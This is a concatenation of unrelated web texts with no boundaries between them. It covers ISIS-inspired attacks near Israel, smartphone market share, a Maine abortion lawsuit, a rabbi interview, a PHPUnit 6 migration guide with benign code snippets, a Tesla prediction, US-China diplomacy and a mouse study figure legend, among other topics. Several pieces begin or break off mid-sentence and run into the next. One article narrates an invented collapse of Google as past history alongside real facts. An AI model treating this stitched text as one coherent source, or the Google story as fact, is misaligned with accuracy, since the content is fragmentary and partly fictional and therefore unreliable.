Most of them are rather thought to be sympathizers with the Salafi jihadist ideology, which advocates for armed struggle and draws inspiration from ISIS, but which has no connection to ISIS leadership in Syria and does not receive direct orders from the group.
Such is thought to have been the case in a truck ramming attack on a popular tourist promenade in east Jerusalem in January, killing four soldiers.
Similarly, two Palestinians who shot dead four Israelis at Tel Aviv’s popular Sarona shopping and dining complex in June 2016 are also said to have drawn inspiration from the group.
While the group has had relatively little success in carrying out attacks within Israel’s borders, it remains active along Israel’s southern border, in the Gaza Strip and Egyptian Sinai Peninsula, and to a lesser extent along its northern border in the Syrian Golan Heights.
Since the beginning of February, there have been at least two instances of rocket fire from the Sinai Peninsula, claimed in both cases by the Sinai-based ISIS affiliate Wilayat Sayna (formerly known as Ansar Beit al-Maqdis).
The group last week released images over the ISIS-affiliated Amaq news website purporting to show militants preparing and launching two rockets at Israel, which landed in open areas.
Just weeks earlier, the group claimed to be behind a salvo of rockets fired towards Israel’s Red Sea resort of city of Eilat.
The Israeli Defense Forces (IDF) said that such attacks aim to first, disrupt Israel’s cooperation with Egyptian security forces that are waging a military campaign against jihadist militants in Sinai, and second, to disrupt rapprochement between Egypt and Hamas.
Asharq Al-Awsat Asharq Al-Awsat is the world’s premier pan-Arab daily newspaper, printed simultaneously each day on four continents in 14 cities. Launched in London in 1978, Asharq Al-Awsat has established itself as the decisive publication on pan-Arab and international affairs, offering its readers in-depth analysis and exclusive editorials, as well as the most comprehensive coverage of the entire Arab world. More Posts - Facebook - Google Plus - YouTubeJust as we predicted, Apple’s deal with T-Mobile has turned things around for the iPhone maker. The deal, in which T-Mobile became the first major US carrier to offer unlocked iPhones at full price rather than subsidized through a two-year contract, has been a big hit with consumers, who made the iPhone the number one smartphone on T-Mobile in the three month period ending in May. That’s given Apple a rare reprieve from the steady takeover of the market by Google’s Android operating system. Android-based phones held steady at 52% of the US market during those three months, while the iPhone is now at 41.9%, a 3.5% gain, say new data from surveys by Kantar.
Of those buying a smartphone on T-Mobile, 53% were upgrading from a simple “feature phone,” versus the typical industry average of 45%. That means the iPhone isn’t taking market share from Android: It’s sucking up more first-time smartphone buyers, exactly the customers who are key to Apple’s future health.
Outside the US, though, Apple still faces an uphill battle and continues to lose market share. Worldwide, Android has greater than 70% market share.Share this post
Google+ Tumblr email
Click to Tweet: Michael Dante DiMartino talks Genius on Comics Manifest
Train Your Genius
Michael Dante DiMartino is an award winning animation director, artist, author, and the co-creator of the iconic animated series, Avatar the Last Airbender.
Now that the Avatar series is complete Michael is now turning his attention to a passion project that he’s been working on for the last 15 years. Geniuses, a trilogy of novels where art is magic.
On this episode I ask Mike all about his experience on creating one of the most influential animated shows of the last decade, the secret to a positive creative partnership, what he enjoys about creating comics, and how to train your genius.
Comics Manifest episode 118 with Michael Dante DiMartino
Subscribe on iTunes, Stitcher, Google Play
Comics Manifest Podcast
Links and Resources
Connect with Michael
Other Episodes
Check out these other powerful episodes
Music Attributions
George Street Shuffle Kevin MacLeod (incompetech.com)
Licensed under Creative Commons: By Attribution 3.0 License
http://creativecommons.org/licenses/by/3.0/
Sponsored byActor-filmmaker Kamal Haasan, who met Dalai Lama on November 10, said that the Tibetan spiritual leader suggested that he uses cinema as a medium to spreadDalai Lama was in Chennai to launch the Abdul Kalam Seva Ratna Awards and deliver a lecture on Human Approach to World Peace at the IIT Madras, as part of its Extra Mural Lecture series."My lack of interest in matters of things spiritual in nature was matched by his disinterest in cinema. He has not watched a single movie, not even television. Yet he opined that I could use my craft and medium to propagate the great philosophy offered to the world by India:," Mr Haasan said in a statement."I confirmed my faith inand said that I will venture soon in that direction," he said.Thestar wrote on Facebook: "Inspite of the fact that I am rationalist and hence not spiritually bent, my meeting was invigorating and felt purposeful.""For a man of his position, he indulged in small talk with the sign of a man who had no worldly worries," he added.Mr Haasan's latest Tamil filmreleased in cinemas on November 10. (Also Read: Kamal Haasan Reveals Secret Behind Thoongavanam's 60-Day WrapYou couldn’t script a more ironic kick-start to the urban highway teardown movement. On December 15, 1973, a dump truck |
to the World Health Organization, have all concluded that laws prohibiting APRNs from providing abortion services early in pregnancy are medically unfounded. In the neighboring states of New Hampshire and Vermont, APRNs have been safely providing abortion care for years.
Currently, APRNs in Maine provide a wide range of health services of equal or greater complexity than first-trimester abortion, including miscarriage management – which is identical to the procedure used for an early in-clinic abortion. Abortion is the only health service the state singles out as beyond an APRN’s scope of practice.
This law significantly restricts patient access to abortion services in Maine, and prevents some Maine women from receiving an abortion from their regular primary and gynecological care provider (who, in many cases, is an APRN). Today, while medication abortion is available via telemedicine in some cases, there are only three publicly accessible health centers in Maine where a woman can get an in-clinic abortion. If this medically unjustified restriction is blocked, that number will increase to at least 18 locations across this large, rural state.
Today, some women living in northern Maine have to make a more than six-hour round-trip to Bangor for an abortion, even though there is a qualified, experienced APRN in their community ready to provide this care. This law causes women to delay their abortion while they save money and arrange for transport, time off work, and child care – if they can access an abortion at all. These barriers are hardest on people who already face systemic barriers to health care, including people of color, people living in rural areas, young people, and people with low incomes.
This is the first federal physician-only abortion restriction court challenge since the landmark Supreme Court decision in Whole Woman’s Health v. Hellerstedt, which emphasized that states cannot burden patient access to abortion without proof of a valid medical justification.
Plaintiffs include four APRNs and two abortion providers in Maine: Julie Jenkins, Katie Riley, Alison Bates, Stephanie Small, Maine Family Planning, and Planned Parenthood of Northern New England. They are being represented by attorneys with the ACLU, the ACLU of Maine, and Planned Parenthood.
Experts had the following comments:
Julia Kaye, staff attorney with the ACLU Reproductive Freedom Project: “A woman who has decided to end her pregnancy should be able to get safe care from a qualified health care provider in her community, just like any other patient. Medically unjustified laws that single out abortion should never prevent qualified providers from serving their patients.”
Zachary Heiden, legal director of the ACLU of Maine: “Anyone who has made it through a Maine winter in a rural area knows that travel can be dangerous or impossible at times – it’s wrong to make a woman risk a journey of hundreds of miles to get an abortion when there are qualified providers nearby.”
George Hill, president and CEO of Maine Family Planning: “Nurse practitioners and nurse-midwives are highly qualified to provide the full range of reproductive health care, including abortion care. Thousands of Mainers choose these medical professionals to provide their reproductive health care, and requiring those patients to go elsewhere for a physician to end a pregnancy simply doesn’t make medical sense.”
Dr. Raegan McDonald-Moseley, chief medical officer of Planned Parenthood: “All of us want women to have access to safe medical care. Medical experts oppose outdated restrictions like this one because they don't help keep women safe, and aren't grounded in thorough research or the best science. We are in court on behalf of our patients, because everyone deserves the right to access safe, legal abortion.”
Nicole Clegg, vice president of public policy for Planned Parenthood of Northern New England: “What people outside Maine may not realize is how rural our state is, and how hard it can be to access health care. A person’s ability to make their own personal decisions about abortion shouldn’t depend on their zip code. “
More about this case can be found here: https://www.aclu.org/cases/jenkins-v-almy
The complaint can be found here: https://www.aclu.org/legal-document/jenkins-v-almy-complaintBuffalo Bills rookie cornerback Stephon Gilmore is turning heads at training camp - so much so that the first-year player is suddenly the team's top cornerback, is being likened to Darrelle Revis by his own teammates, and carrying an increasing burden to perform well in 2012.
All of the Gilmore hype prompted reader Robert to ask me the following question over the weekend: "Brian, can you remember any Bills first-round pick being as hyped as Gilmore is right now?"
The short answer: no, I don't think I can. But then again, I'm only 26 years old. My memory doesn't travel into yesteryear as well as those of some of our more experienced Bills fans. For instance: I've only heard about the fervor that Jim Kelly brought to town when he came back to the team in 1986; I was less than a year old at the time, and therefore never experienced that particular brand of excitement surrounding Bills football.
In fact, I can only really remember back to the 2002 first-round selection of Texas tackle Mike Williams and relate it to any kind of palpable feeling about how the pick was received by the fan base. Even in that case, the nascent nature of my fanhood leaves those details fuzzy; I remember a lot of excitement about the size and athleticism package, but apparently that's what my 16-year-old brain focused on solely. Still, he might come closest for me.
Between 2003 and 2010, my memories have either faded or are incomplete; Willis McGahee, Lee Evans, J.P. Losman, Donte Whitner, John McCargo, Marshawn Lynch, Leodis McKelvin, Aaron Maybin and Eric Wood pretty much ran the gamut of possible emotions to have about first-round draft picks, and none of them came close, in my opinion, to matching the early hype on Gilmore.
But I do think that last year's first-round pick, Marcell Dareus, came pretty close. In terms of how hyped he could have been coming out of training camp, Dareus was hampered by the fact that it's just not easy to gauge how a rookie is performing in the trenches. It's much easier to look at cornerback/receiver battles in shorts and say "hey, this Gilmore kid is looking good" for the average fan, so while Dareus was extremely well-received by the fan base, I don't think his hype comes close.
So my answer for Robert is no; I don't recall a Bills rookie that was as hyped as Gilmore has been these past couple of weeks. But then again, I just don't have the sample size that many of you do. So help me out, Bills fans: can you think of a former Bills rookie that received hype comparable to being compared to the game's best at his position within the first two weeks of his first training camp?
Also, we'll end on a much more important bonus question: is the Gilmore hype even warranted?Rabbi Adam Rosenwasser, right, is the new rabbi at Temple Sinai, moving from California with his husband, Shalom Rosenberg, left, to Washington. (Melina Mara/The Washington Post)
Rabbi Adam Rosenwasser recently became the first rabbi hired to fill a major pulpit in Washington who is married to someone of the same gender. But he doesn’t like to focus on that. “I’m gay, but I also scuba dive and play guitar,” he said. July 4 was the first Sabbath at Temple Sinai for Rosenwasser, 32, and his husband, Shalom Rosenberg. Temple Sinai, in the District’s Chevy Chase neighborhood, is one of the region’s largest Reform synagogues, a place that tries to blend tradition with innovation at a time when many U.S. Jews have abandoned institutional life. Washington Post religion writer Michelle Boorstein talked to Rosenwasser about various matters, including Silicon Valley (his last posting) vs. the District,whether the biblical Joseph was gay and singing with his college glee club.
Boorstein: You came to Sinai from a synagogue in the Palo Alto area. How does the tech culture there impact spiritual life?
Rosenwasser: It’s this culture where people look like they’re not working. Mark Zuckerberg is always wearing a hoodie and jeans, but they’re always working. Teens in Palo Alto are really stressed out. Stanford is their backup school. What we tried to create was a place where people could come and gather and sort of de-stress... a place where people could be in community and not feel attached to this crazy techie culture. That’s what we’re trying to build at Sinai. I’m new to D.C., but it’s a place where people are very busy and literally running the world, or think they are.... We try to create a place where people can be themselves.
Copied pictures from 2009 wedding album. (Courtesy of Rabbi Adam Rosenwasser)
How do you do that?
Gather for Shabbat, have dinner, learn for the sake of learning, not for getting a high score.
Why did you come to Washington?
Washington is a fascinating city. For better or for worse, it’s where big things happen. In Palo Alto, we brought teens here every year... to learn about Washington and social justice. This week [Senior Rabbi Jonathan] Roos was going to a meeting on Capitol Hill. I was like, ‘Wow, it’s just 15 minutes down Connecticut Avenue to the heart of where policy and big decisions are made.’ I’m a bit of an idealist. I’m sure I’ll become a little jaded by Washington, but I think it’s cool to be in another place — like Silicon Valley — where people are trying to change the world for the better.
Silicon Valley is a place where people aren’t afraid of failure. It’s cool almost to be between jobs and to try new things. I think Sinai is striving to, too. Judaism, and especially Reform Judaism, we want to be relevant, and we want people to find meaning in their Jewish life.
So many Jews have left institutional life. Are there almost going to be two types of Jews, people who belong to synagogues and those who don’t?
The synagogue has to serve a different purpose. It can’t be a place where people just drop off their children to learn enough Hebrew for bar or bat mitzvah. It has to be a place that engages community. No one likes to think of a synagogue as a business, but it is. Even a nonprofit needs money to exist. But when there is a simcha [a happy occasion] [or when there is] a death, it’s so important to have that community to take care of you and feed you and hold you and comfort you. I’ve seen so many cases when unaffiliated Jews in a crisis turn to the synagogue because we are not solitary creatures. We do need to lower any barriers that exist, including we don’t need to give someone a dues sheet on their first visit.
What is the Bible to people today? What role do biblical characters have in our lives?
They are about our greatest human triumphs and challenges. Abraham nearly killed his son. Jacob and Esau nearly kill one another, but 20 years later, they make up and embrace. And I find so much wisdom in the stories, not seeing them just as pseudo-historical figures we’re supposed to revere. They are very much like us, both positive and not so positive. I look to the text for meaning and relevance. When I share that with people, they find a connection to Judaism.
You said that in rabbinical school, you looked sometimes at biblical characters from a feminist and queer perspective. What did you find?
Some people ask: Was Joseph gay? He was this effeminate, handsome guy. I don’t think he was gay, but he was certainly an outsider. People mocked him. They didn’t understand him. As gay people, we are outsiders in many ways. Thank God, things got better, but we can relate to Joseph’s struggle.
What role do you think your being gay plays in your rabbinical work? How do people respond in more private counseling settings? It could be like the first time people see women in a clergy role in their synagogue.
If anything, I think it makes people feel like they have someone to talk to. I had a young man who grew up at Sinai; he’s gay, we had coffee together this week, I get a lot of that. [Congregation Beth Am in Los Altos Hills, his former synagogue] was viewed as gay-friendly before I came there, but it does make it easier for people to come see me, including gay couples on sensitive issues. A lot of teens came to me to come out. You know with a gay person, you’re safe. It does make a difference.
You were in the glee club in college, at the University of Michigan at Ann Arbor (where he also grew up). Do you still sing?
I do. Here and there. I love music. Singing is like praying. A way to communicate the desires of your soul, and blah, blah, blah. (He laughs.)In the latest months I wrote multiple times, in different projects, code migrating PHPUnit toward major version 6. This upgrade is harder than the previous one, since in this version it was introduced a big breaking change: all classes got (finally!) namespaced.
This means that any usage of those classes in your project needs to be updated. It may seem a simple find & replace job, but since you need to introduce at least one use PHPUnit\Framework\TestCase line at the top of each one of your test classes, it’s a boring and a little more than trivial task; also, upgrading it in a single big jump may not be feasible or prudent, especially in the case of open source or distributed libraries, where backward compatibility and support for old PHP versions must be ensured.
In this article I will explain which steps I applied during those migrations, highlighting the most frequent hiccups.
The easy one: only tests
To start with, you have to find all the usages of PHPUnit classes in your project: a simple search for every occurrence of the string PHPUnit_ should be enough at the beginning. You should know that, in some recent versions previous to 6, PHPUnit delivers a forward compatibility layer; this means that some of the most extended classes in the library are present also in the namespaced version, so they can be used before upgrading to the fully namespaced version.
If you want to update a simple project, where the only usage of PHPUnit classes is to create tests, you are very lucky. You need to require at minimum PHPUnit 4.8.35 or 5.4.3, which includes the FC class PHPUnit\Framework\TestCase as an alias for \PHPUnit_Framework_TestCase.
You should choose the newest version as possible, and that depends on which minimum version of PHP you want to support: if you work with (at least) PHP 5.6, you can use PHPUnit 5, otherwise you’re forced to use version 4.8.35. If you’re working on a (open source) library that needs to support both, you can do this in your composer.json :
{ "require-dev": { "phpunit/phpunit": "^4.8.35|^5.4.0" } }
In this way you can use both, and Composer will choose the most updated one, depending on which PHP version you are using; this is pretty useful for testing with a CI tool like Travis, since you should run your tests at least on the lowest and highest versions of PHP that you want to support.
Once you have required and installed the right version, the only modification that you need to do in your code is this one:
Before:
<?php class MyTest extends \PHPUnit_Framework_TestCase { //... }
After:
<?php use PHPUnit\Framework\TestCase; class MyTest extends TestCase { //... }
Deprecations of PHPUnit 4
Depending on your codebase, you may be forced to do one last step: your tests may be using deprecated methods from PHPUnit 4, so you will need to fix those. Those issues are pretty easy to be found and fixed, because they will make your test fail when executed with PHPUnit 5. The full list of changes that may impact you are in the changelog for version 5.0.0, but the most notable ones are:
you need to declare a whitelist in your phpunit.xml configuration file to collect tests coverage
configuration file to collect tests coverage you must drop any usage of the assertSelectCount(), assertSelectRegExp(), assertSelectEquals(), assertTag(), assertNotTag() assertions
The bumpy one: implementing a TestListener
If in your project you extend other classes or interfaces from PHPUnit, you need to check which one. If we are talking about one of the following:
\PHPUnit_Framework_Assert
\PHPUnit_Framework_AssertionFailedError
\PHPUnit_Framework_Test (interface)
(interface) \PHPUnit_Framework_TestSuite
… then your only requirement is to use at least PHPUnit 5.7.21. This means that you have to drop support to any PHP version older than 5.6, if you still support it (and you should!).
If, instead, you implement a \PHPUnit_Framework_TestListener, that may be a little trickier. The FC layer for that class is problematic, since it’s an interface that has a lot of types applied to the methods’ arguments; this, combined with the fact that in PHP you cannot change the type of an argument when extending (see covariance and contravariance), means that the FC class is nearly useless: you cannot be compatible with both \PHPUnit_Framework_TestListener and \PHPUnit\Framework\TestListener with the same class.
If you are working on a single project, you may just restrict the supported PHPUnit version and jump to the newest one while upgrading the listener too. But if you are working on a library, and you do not want to apply that restriction to your end users, it gets a little complicated.
In my case, while upgrading facile-it/paraunit, I preferred jumping from supporting 4.x/5.x directly to 6.x; Paraunit works directly on top of PHPUnit, and it works the same before and after this update (apart from new features), so dropping the old versions altogether seemed a good enough approach for me.
In other cases, the listener is just provided as an additional help of the main library, so forcing the end user to update his version of PHPUnit alongside with our library could be too harsh or slow down the adoption of the new release. I tried doing this on with a pull reques on friendsofsymfony/http-cache, where I had to solve this specific issue. The only feasible solution that I’ve found is this specific snippet of code, that it was used in symfony/phpunit-bridge to overcome the same problem:
if ( class_exists('PHPUnit_Runner_Version') && version_compare(\PHPUnit_Runner_Version::id(), '6.0.0', '<') ) { class_alias('Legacy\MyTestListener', 'MyTestListener'); // Using an early return instead of a else does not work // when using the PHPUnit phar due to some weird PHP behavior // (the class gets defined without executing the code before it // and so the definition is not properly conditional) } else { class MyTestListener extends BaseTestListener { //... } }
This approach is based on writing two versions of the listener, one (inside a legacy subfolder) which implements the old interface, the other that implements the new, namespaced one. With the above snippet, PHP is tricked into loading the right one, after checking if the loaded version of PHPUnit is lower than 6.0. In this way the end user can ignore the difference between the two classes, use only the new class name and go on, since they will be switched in a hidden and automatic way. Once support for the old PHP and PHPUnit versions is dropped, this trick can be dropped too.
The next step: from 5 to 6
Once all this migration is completed, and all the tests are green under all needed conditions, we can plan for the next step, upgrading to PHPUnit 6. In reality, this step depends on a bigger, previous step: migrate to PHP 7, because lower versions are no longer supported with PHPUnit 6.
When your project is ready for PHP 7, you can require the installation of PHPUnit 6; if you are working on a library that wants to support PHP 5.6 too, you can use the same trick as above in your composer.json :
{ "require-dev": { "phpunit/phpunit": "^5.4.0|^6.0" } }
… so you’ll be using PHPUnit 5 under PHP 5.6, and 6 with PHP 7.0+. As before, you need to check that your tests are still passing, and avoid using any functionality that is deprecated in PHPUnit 5. You can find the full list in the PHPUnit changelog for 6.0.0, but the most notable are:
getMock() must be replaced with createMock()
must be replaced with usages of getMockWithoutInvokingTheOriginalConstructor() are no longer needed, it’s the default behavior now
are no longer needed, it’s the default behavior now if you intervene on global variables, it’s better to enable the --globals-backup option, to save and restore them between tests (previously it was the default behavior)
option, to save and restore them between tests (previously it was the default behavior) setExpectedException() must be replaced:
// before $this->setExpectedException(Exception::class, $message); // after $this->expectException(Exception::class); $this->expectExceptionMessage($message);
And that’s all! I hope to make you save enough time and migraines with this little guide. Happy coding!“Brave” -- Disney/Pixar’s latest CG, 3-D animated film -- opens Friday, which also happens to be the 35th anniversary of the classic Disney animated film “The Rescuers.”
Based on “The Rescuers and Miss Bianca” by Margery Sharp, the 1977 family comedy revolves around an international mouse organization -- the Rescue Aid Society -- located inside the United Nations that helps abduction victims.
Eva Gabor lent her voice to Miss Bianca, the sophisticated, beautiful Hungarian representative of the society; Bob Newhart characterized Bernard, the nervous janitor who joins Miss Bianca in her quest to find a missing orphan girl; and Geraldine Page was pitch-perfect as the evil pawnshop owner Madame Medusa.
In production for four years, “The Rescuers” was the first Disney animated film that brought together members of Disney’s “Nine Old Men” animators (including Milt Kahl, Ollie Johnston and Frank Thomas) with a new crop of animators, including Glen Keane, Ron Clements and Andy Gaskill, who had come to the studio in the early 1970s.Devices running iOS were responsible for an estimated 75% of Google’s revenue from mobile search ads, so by making this move, Apple was simultaneously weighing in decisively on the great ad blocking debate of the 2010s and dealing a substantial blow to the future of online advertising.
In late 2015, Apple — Google’s main competitor in the mobile space — added a feature to their phones and tablets that allowed users to block ads.
While Google protected its monopoly on the dying search advertising market, Facebook — Google’s biggest competitor in the online advertising space — got on the right side of the trend and dominated online advertising with its in-feed native display advertising.
Search was Google’s only unambiguous win, as well as its primary source of revenue, so when Amazon rapidly surpassed Google as the top product search destination, Google’s foundations began to falter. As many noted at the time, the online advertising industry experienced a major shift from search to discovery in the mid-2010s.
Google made almost all its money from ads. It was a booming business — until it wasn’t. Here’s how things looked right before the most spectacular crash the technology industry had ever seen.
The people most likely to block ads were also the most valuable demographic: millennials and high earners.
A year later, as the internet went mobile, so too did ad blocking. The number of people blocking ads on a mobile device grew 102% from 2015 to 2016 ; by the end of 2016, an estimated 16% of smartphone users globally were blocking ads when browsing the internet on a mobile device. The number was as high as 25% for desktop and laptop users in the United States, a country that accounted for 47% of Google’s revenue.
The company discovered that it wasn’t just annoying ads that people didn’t like; it was ads in general.
Even after making this desperate and legally questionable move, it would quickly become clear to Google that even though ads were getting better, ad blocking numbers would continue to rise. Google had given even more people a small taste of what an ad-free internet experience could look like.
In early 2017, Google announced its plans to build an ad blocker into its popular Google Chrome browser. Google’s ad blocker would only block ads that were deemed unacceptable by the Coalition For Better Ads, effectively allowing the company to use its dominant web browser to strengthen its already dominant advertising business.
A key platform where Google served ads was YouTube, which it bought in 2006 and quickly turned into one of its biggest entities. But even with a sixth of the world visiting this video-sharing behemoth every month, YouTube never became profitable. In an attempt to combat the effect of ad blockers, YouTube launched an ad-free subscription model in late 2015, but the subscription numbers were underwhelming.
YouTube’s already insurmountable problems multiplied in early 2017 as advertisers began to pull out amid ad placement controversies, and huge revenue generators began to leave the site.
Even those who weren’t blocking ads had trained themselves to ignore them entirely. Researchers dubbed this phenomenon “banner blindness”. The average banner ad was clicked on by a dismal 0.06% of viewers, and of those clicks, roughly 50% were accidental.
Research showed that 54% of users reported a lack of trust as their reason for not clicking banner ads and 33% found them completely intolerable. These figures painted a pretty grim picture for the sustainability of online advertising, but especially for Google’s position within the industry.
Google’s mighty engine had started to sputter.
A chance to pivot, and how Google missed it
If losing a major portion of their audience and annoying the rest wasn’t bad enough, Google also failed to get ahead of one of the biggest shifts in technology’s history. They recognized the importance of artificial intelligence but their approach missed the mark. Since Google’s search pillar had become unstable, a lot was riding on the company’s strategy for artificial intelligence.
“We will move from mobile first to an AI first world.”
Google’s then-CEO Sundar Pichai famously predicted in 2016 that “the next big step will be for the very concept of the ‘device’ to fade away” and that “over time, the computer itself — whatever its form factor — will be an intelligent assistant helping you through your day. We will move from mobile first to an AI first world.”
Google’s ability to acknowledge the coming trend and still fail to land in front of it reminded many observers of its catastrophic failures in the booming industries of social media and instant messaging.
Sundar Pichai wondering how to monetize a virtual assistant
Google vs. Amazon
Meanwhile, in 2014, Amazon released a product called Amazon Echo, a small speaker that could sit in your home and answer questions, perform tasks, and buy things online for you. The Echo was a smash success. Google released its copycat product, Google Home, two years later, but it was already too late to catch up, and had no clear revenue strategy.
Alexa — the assistant that lived inside the Echo — on the other hand, was quickly integrated into several products and services, and its monetization model was clear, viable, and most importantly future-friendly. The Echo made it easy to order products through Amazon, and every time someone used an Echo to purchase something, Amazon made money.
Google extended the reach of their virtual assistant by building it into Android, but doing so still didn’t provide an answer for how the technology would generate enough revenue to sustain Google’s expanding repertoire of expensive innovations.
Google’s ads relied on screens, yet voice interaction subverted screens entirely. Google briefly tried playing audio ads with the Google Home, but consumers were far from receptive. Investors started to voice their concerns in 2017, but Sundar Pichai told them not to worry, leaving them to assume that Google would use their age-old strategy and analyze users’ voice searches so that users could be shown more suitable ads on devices with screens.
Alexa celebrating its victory over Google
Headlines in early 2017 proclaimed that “Alexa Just Conquered CES. The World is Next.” Amazon then made their technology available to third party manufacturers, putting even more distance between the two companies. Amazon had already beaten Google once before, holding 54% of the cloud computing market (compared to Google’s 3%) in 2016, and they were just getting started.
By early 2017, Amazon had begun closing in on the entire retail industry.
Ads weren’t forever
At its peak, Google had a massive and loyal user-base across a staggering number of products, but advertising revenue was the glue that held everything together. As the numbers waned, Google’s core began to buckle under the weight of its vast empire.
Google was a driving force in the technology industry ever since its disruptive entry in 1998. But in a world where people despised ads, Google’s business model was not innovation-friendly, and they missed several opportunities to pivot, ultimately rendering their numerous grand and ambitious projects unsustainable. Innovation costs money, and Google’s main stream of revenue had started to dry up.
In a few short years, Google had gone from a fun, commonplace verb to a reminder of how quickly a giant can fall.ES News Email Enter your email address Please enter an email address Email address is invalid Fill out this field Email address is invalid You already have an account. Please log in or register with your social account
Bear Grylls today announced he will become the first man to attempt to cross the English Channel using a water jet pack.
The 38-year-old adventurer will attempt the 23-mile journey on Thursday with two water jets strapped to his feet.
The technology uses a trailing tube which sucks up water from the sea and forces it through a propulsion unit, rocketing the wearer up to 30 feet in the air.
Grylls said: “This world record for me is all about adventure, pushing the boundaries and encouraging young people to grab life boldly and follow their dreams.”
He will be raising funds and awareness for the UK Scout Association.Yoshiyuki Sankai, a professor at Tsukuba University, Tokyo, has recently introduced a new robot suit, called the “Hybrid Assistive Limb.” The suit was designed for paralyzed people in order to help them walk again by detecting their next move and stimulating their muscles in order to move their limbs. According to its creator the suit, through continuous practice, can rehabilitate handicapped people.
The “Hybrid Assistive Limb” robot suit (dubbed HAL) detects natural electrical currents that pass over the surface of the skin, thus, anticipating muscle movement. After recognizing the electrical current, the suit performs limb movement. HAL weighs 11 kilograms (24 pounds), and Takashi Hama, an executive official of Daiwa House Industry, is convinced that this is a key feature. “You don’t feel the weight of the robot at all,” he recently said.
Sankai’s invention first came into prominence in 2006 when he helped Seiji Uchida, who has been bound to a wheelchair since a car accident in 1983, to try and climb a peak in the Swiss Alps. “I see big possibilities for HAL, which not only helps handicapped people move on their own but also assists caretakers in caring for someone like me,” said Uchida, now 46. “I asked professor Sankai directly to help me take up the challenge of mountain climbing,” he recalled, and added: “It’s been two years since. I think the latest model has a better battery system and some improvement in the knee joints.”
The company that produces the suits is Cyberdyne Inc. It has already announced that 500 units of the battery-powered robot suit would be leased to assist paralyzed patients at hospitals and rehabilitation centers. Cyberdyne will be renting out the robot suits for five year periods and, according to Sankai several European nations, particularly in Scandinavia, have expressed interest in trying the suit.
Another prototype of HAL allows the wearer to carry 100 pounds without adding much weight to the suit. “We are looking at the future use of the robot suits at construction sites, where workers have to carry heavy materials,” Hama said. Sankai added: “I believe technology becomes useful only when it works for people.” In a more political statement, he said: “I refuse any possible military use of my robot suits.”
TFOT has also covered uBot-5, a robot that performs many useful tasks that entail the mobile manipulation of objects, the humanization of ASIMO the robot, researched at Carnegie Mellon University, and the development of robotic rats, that will aid in rescue operations. Other related TFOT stories include the “Voiceless” phone call, made using a neckband called Audeo, which translates thoughts into speech by intercepting nerve signals; and COGAIN, a new technology for people with severe motor disabilities, allowing them to play 3D computer games using only their eyes.In 1926 Nikola Tesla gave an interview to Collier's Weekly in which he predicted something that sounds remarkably like portable television. Perhaps most interestingly, he mentions that this technology would be used to watch war unfold, "just as though we were present."
NEW YORK, Jan 25 - (AP) - Application of radio principles will enable people by carrying a small instrument in their pockets to see distant events like the sorceress of the magic crystal fairy tales and legends, Nikola Tesla, electrical inventor, predicted today. Mr. Tesla, who on several occasion has tried to communicate with the planet Mars, made his predictions in an interview published in the current issue of Collier's Weekly. "We shall be able to witness the inauguration of a president, the playing of a world's series baseball game, the havoc of an earthquake, or a battle just as though we were present," Mr. Tesla said.
I'm fascinated by the rise of the moving image during the first half of the 20th century. In the 1920's Thomas Edison was predicting that movies would replace textbooks, D.W. Griffith predicted that motion pictures would overtake the printed word, and Cecil B. DeMille said that as the cost of camera equipment came down home movies would soon be produced by average Americans.
Every generation believes that they live in a special age of technological progress, but it is quite humbling to read about the rise of electricity, motion pictures, radio or television and trying to imagine what it must have been like to experience those things for the first time. Without belittling the accomplishments and enormous potential of the internet, I dare say those things were more jaw-dropping than the first time I popped in an AOL CD-ROM.
Article source: January 26, 1926 Nevada State Journal
Photo of Nicola Tesla: Library of CongressMy Assembly Programming Language teacher, Belal Hashmi Sahib said in the first lecture of the course, “Assembly is extremely simple. It is so simple that students don’t expect such simplicity and hence it starts appearing complex to them”. Then he wrote MOV AX, BX on the board, explained it and asked if everyone understood it. Everybody nodded. He asked again to make sure there was not even a slightest bit of confusion. It seemed very simple and trivial to everyone. He proceeded by saying “This is the end of the assembly language programming course. The rest of the course is just the revision of MOV AX,BX”. Everybody thought it was a joke but later it turned out that assembly indeed ended at MOV AX, BX. The rest of the course was about learning other concepts to fully utilize the potential of MOV AX, BX.
Last year I learned Lisp on my own and then TAed a course on Lisp at LUMS with Dr. Umar Saif. In the first lecture the first thing Dr. Umar taught was (lambda (x) (+ x x)). At this moment I realized that just like Assembly, Lisp had finished! Because if students had understood it, there was nothing much about the language left. All they needed now was to understand some important concepts such as recursion, closures etc. to use Lisp.
What is common between Assembly and Lisp? Both of these two languages are very simple to learn as they have little syntax or fancy language features. However the process of learning them compels one to grasp some important concepts. For instance by learning assembly you are bound to understand some flavor of computer architecture, interrupts, timers and other hardware related stuff. Similarly by learning Lisp you automatically get to know functional programming, interpretation, recursion, closures etc.President Trump, right, and Chinese President Xi Jinping shake hands during dinner at the Mar-a-Lago estate in West Palm Beach, Fla., on April 7. (Jim Watson/AFP/Getty Images)
China's ambassador on Monday brushed off the Trump administration's complaints that Beijing is employing predatory trade and economic practices to bully and intimidate neighbors, suggesting that the United States “look in the mirror because they might be describing themselves.”
Ambassador Cui Tiankai's comments during a briefing with reporters came as President Trump prepares to leave Washington at week's end for a 12-day swing through five Asian nations, including China, during which the main topics are expected to be confronting North Korea and discussions on U.S. trade relations in the region.
Cui emphasized that Chinese President Xi Jinping, fresh off his consolidation of power at China's 19th Communist Party Congress, is preparing to welcome Trump with a lavish reception, including a military honor guard and formal banquet. The ambassador said the aim is to honor Trump on his first visit to China since taking office with a “state visit-plus” that aims to replicate Trump's two-day summit with Xi at Mar-a-Lago in south Florida in April.
At the same time, however, Cui sketched out a muscular view of Chinese foreign policy and urged the United States and its allies to do more to pursue a “negotiated solution” to Pyongyang's nuclear weapons program and to ratchet down rising tensions on the Korean Peninsula.
Cui said China is faithfully implementing the United Nations Security Council's new economic sanctions on North Korea, but he added that “if only China is making its best efforts and others are doing things that lead to an escalation of tensions, this issue will not be solved. It will become even more difficult and the end result will hurt everybody’s interests.”
The ambassador declined to specifically address Trump's U.N. speech last month during which he vowed to “totally destroy” North |
FGF21 protein (D) levels in 11- to 13-week-old male WT C57Bl/6 mice ad libitum fed chow and provided 10% sucrose ad libitum for the indicated time (n = 5/group).
(E and F) Hepatic Fgf21 mRNA (E) and plasma FGF21 protein (F) levels in 10- to 12-week-old male WT (FGF21fl/fl) and FGF21 liver-specific knockout (FGF21 LivKO) mice ad libitum fed chow and 10% sucrose ad libitum for 24 hr (n = 5–7/group).
(G) HSD preference ratio in 10- to 12-week-old male WT and FGF21 LivKO mice (n = 5/group).
